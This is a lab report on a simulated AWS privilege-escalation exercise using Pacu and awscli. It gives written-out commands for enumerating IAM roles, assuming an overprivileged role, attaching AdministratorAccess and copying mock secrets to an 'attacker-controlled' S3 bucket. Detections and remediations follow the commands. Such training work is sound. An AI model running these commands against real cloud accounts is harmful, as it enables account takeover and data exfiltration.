# Task 5 — Cloud Privilege Abuse Simulation (Full Report)

Author: MALEPATI SAMSKAR REDDY

Date: September 19, 2025

Attacker: Kali Linux — 192.168.17.128

Target cloud/test account: simulated AWS environment (S3, IAM)

---

## 1. Objective

Simulate abuse of cloud privileges by identifying overprivileged IAM roles, exploiting role assumption or misconfigurations, and demonstrating escalation to administrative capabilities and access to sensitive resources in a controlled lab. Validate detections and recommend remediations.

## 2. Lab Environment & Tools

Environment:

- Attacker host: Kali Linux — 192.168.17.128

- Target: Simulated AWS test account or CloudGoat deployment (S3 + IAM misconfigurations)

Tools:

- Pacu (cloud exploitation & escalation modules)

- awscli (for role assumption and object operations)

- ScoutSuite / Prowler (cloud posture scanning and findings)

- CloudTrail and S3 access logs (for detection and validation)

## 3. Step-by-Step Methodology (with reconstructed commands)

The workflow focuses on privilege discovery, escalation, and using assumed credentials to access sensitive resources:

1. A. Enumerate IAM roles and instance profiles

* Example Pacu commands:

# Start Pacu and enumerate IAM roles/users/policies  
python3 pacu.py  
# In pacu console:  
run iam\_\_enum\_roles  
run iam\_\_policy\_analysis  
run iam\_\_enum\_instance\_profiles

1. B. Identify overprivileged roles & attempt role assumption

* Example AWS CLI commands and Pacu interactions:

# If a role is vulnerable to assumption or misconfiguration, try assuming it:  
aws sts assume-role --role-arn arn:aws:iam::123456789012:role/OverPrivilegedRole --role-session-name labEscalation --profile compromised  
  
# Use assumed credentials (example environment variables)  
export AWS\_ACCESS\_KEY\_ID=ASIA...  
export AWS\_SECRET\_ACCESS\_KEY=...  
export AWS\_SESSION\_TOKEN=...  
aws iam list-users  
aws s3 ls

1. C. Escalate privileges and validate administrative access

* Example actions:

# With assumed role privileges, test listing and altering privileged resources  
aws iam list-roles  
aws iam attach-role-policy --role-name TargetRole --policy-arn arn:aws:iam::aws:policy/AdministratorAccess  
# Create or retrieve secrets, list S3 buckets and object ACLs  
aws s3 ls --recursive s3://sensitive-bucket/

1. D. Demonstrate impact by accessing or exfiltrating mock sensitive resources

* Example exfiltration (lab-only):

# Copy sensitive mock file to a controlled bucket  
aws s3 cp /tmp/mock\_secrets.zip s3://attacker-controlled-bucket/ --profile assumed\_role  
# Or download locally  
aws s3 cp s3://sensitive-bucket/mock\_secrets.zip ./

## 4. Observed Evidence

- Screenshot From 2025-09-17 22-22-04.png

- Screenshot From 2025-09-17 22-26-28.png

- Screenshot From 2025-09-17 22-29-29.png

- Screenshot From 2025-09-17 22-31-22.png

- Screenshot From 2025-09-17 22-32-34.png

- Screenshot From 2025-09-17 22-35-04.png

- Screenshot From 2025-09-17 22-36-56.png

- Screenshot From 2025-09-17 22-46-14.png

## 5. Reconstructed Timeline & Actions

- T0: Pacu initiated and performed IAM enumeration, discovering potentially overprivileged roles and instance profiles.  
- T1: Identified a role that could be assumed or a misconfigured instance profile with attached credentials.  
- T2: Assumed role via AWS STS or extracted credentials; exported temporary credentials to environment.  
- T3: With elevated privileges, enumerated IAM, listed S3 buckets, and accessed mock sensitive objects.  
- T4: Demonstrated exfiltration by copying mock data to an attacker-controlled bucket or downloading locally.  
- T5: CloudTrail and S3 logs recorded actions; detection alerts raised in monitoring (if configured).

## 6. Findings & Risk Assessment

- Overprivileged IAM roles or misconfigured instance profiles allow attackers to escalate privileges and access sensitive resources.

- Using STS assume-role or compromised credentials, full tenant compromise is possible in a simulated environment.

- Risk Rating: Critical — cloud tenant compromise can result in data exposure, account takeover, and infrastructure manipulation.

## 7. MITRE ATT&CK Mapping

- T1078.004 — Valid Accounts: Cloud Accounts (use of compromised or valid credentials)

- T1588 — Obtain Capabilities (misuse of cloud features or roles)

- T1537 — Transfer Data to Cloud Account (exfiltration to attacker-controlled bucket)

- T1538 — Cloud Account Discovery (role, instance profile discovery)

## 8. Recommendations (technical & operational)

Technical controls:

- Enforce least-privilege for all IAM roles and service accounts; remove AdministratorAccess where not required.

- Use IAM Access Analyzer and automated policy reviews to detect overly permissive policies.

- Enable CloudTrail (management and data events) and S3 data event logging; ship to immutable log storage for auditing.

- Use AWS Organizations Service Control Policies (SCPs) to restrict high-risk actions and enforce guardrails.

- Implement IAM role trust boundaries and require MFA for role assumption where practical.

Operational controls:

- Periodically rotate keys and remove long-lived credentials; automate detection of unused keys.

- Audit instance profiles for embedded credentials and use instance metadata v2 protections.

- Run scheduled cloud posture scans (ScoutSuite, Prowler) and remediate findings promptly.

- Train cloud engineers about least-privilege and role lifecycle management.

## 9. Forensic Artifacts to Collect

- CloudTrail logs for the period of testing, including AssumeRole and STS events.

- S3 access logs, object-level logs, and server access logs.

- IAM policy change logs and CloudWatch events related to role modifications.

- Pacu session logs and any credential artifacts recovered on the attacker host.

- Snapshot of instance metadata and any temporary credentials found on instances.

## 10. 50-Word Summary

Using Pacu and awscli, an overprivileged IAM role was identified and assumed, enabling administrative actions and access to sensitive S3 objects. Mock data was exfiltrated to a controlled bucket, demonstrating the impact of role sprawl and misconfiguration. Enforce least-privilege, CloudTrail, and IAM guardrails.

## 11. Appendix: Reconstructed Commands & Examples

# Pacu (example)  
python3 pacu.py  
# In pacu console:  
run iam\_\_enum\_roles  
run iam\_\_enum\_instance\_profiles  
run iam\_\_policy\_analysis  
  
# AWS CLI assume-role (lab only)  
aws sts assume-role --role-arn arn:aws:iam::123456789012:role/OverPrivilegedRole --role-session-name labEscalation --profile compromised  
  
# Export credentials and use to list S3  
export AWS\_ACCESS\_KEY\_ID=ASIA...  
export AWS\_SECRET\_ACCESS\_KEY=...  
export AWS\_SESSION\_TOKEN=...  
aws s3 ls